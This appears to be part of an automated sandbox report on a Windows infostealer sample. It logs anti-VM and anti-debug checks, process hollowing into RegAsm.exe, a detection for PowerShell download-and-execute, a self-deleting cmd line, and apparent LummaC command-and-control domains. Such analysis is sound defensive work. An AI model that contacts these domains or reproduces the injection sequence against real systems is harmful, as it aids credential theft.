Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO1
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware?
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW )
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2192823083.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.000000000128B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(MG
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-88889
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-88905
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-90234

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00446BB0 LdrInitializeThunk,

9_2_00446BB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041D160 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_0041D160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00418A9A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004186E3 mov eax, dword ptr fs:[00000030h]	3_2_004186E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004186E4 mov eax, dword ptr fs:[00000030h]	3_2_004186E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA,

3_2_0040884C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041D160 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041D160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DADC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041DADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042777E SetUnhandledExceptionFilter,	3_2_0042777E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C12B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C12B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C12B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C12B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C2DAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KECFIDGCBF.exe PID: 8080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userBAEBGCFIEH.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_028E212D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_028E212D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: delaylacedmn.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: writekdmsnu.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: agentyanlark.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bellykmrebk.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: underlinemdsj.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: commandejorsk.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: possiwreeste.site
Source: IDGDAAKFHI.exe, 00000007.00000002.2138894762.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: famikyjdiag.site

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 840008	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44C000	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 942008	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1197008	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D9E008	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\Users\userBGDBKKFHIE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 108E008
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44C000
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000
Source: C:\Users\userBAEBGCFIEH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CB2008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IDGDAAKFHI.exe "C:\ProgramData\IDGDAAKFHI.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DGHIECGCBK.exe "C:\ProgramData\DGHIECGCBK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECFIDGCBF.exe "C:\ProgramData\KECFIDGCBF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FBFIDBFHDBGI" & exit	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGDBKKFHIE.exe "C:\Users\userBGDBKKFHIE.exe"
Source: C:\Users\userBGDBKKFHIE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAEBGCFIEH.exe "C:\Users\userBAEBGCFIEH.exe"
Source: C:\Users\userBAEBGCFIEH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040111D cpuid

3_2_0040111D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B21C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_00425533
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B5E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_004275EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_004276C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	3_2_0042B6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429EBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B773
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428F14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	3_2_0042E7F4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Queries volume information: C:\ProgramData\IDGDAAKFHI.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Queries volume information: C:\ProgramData\DGHIECGCBK.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
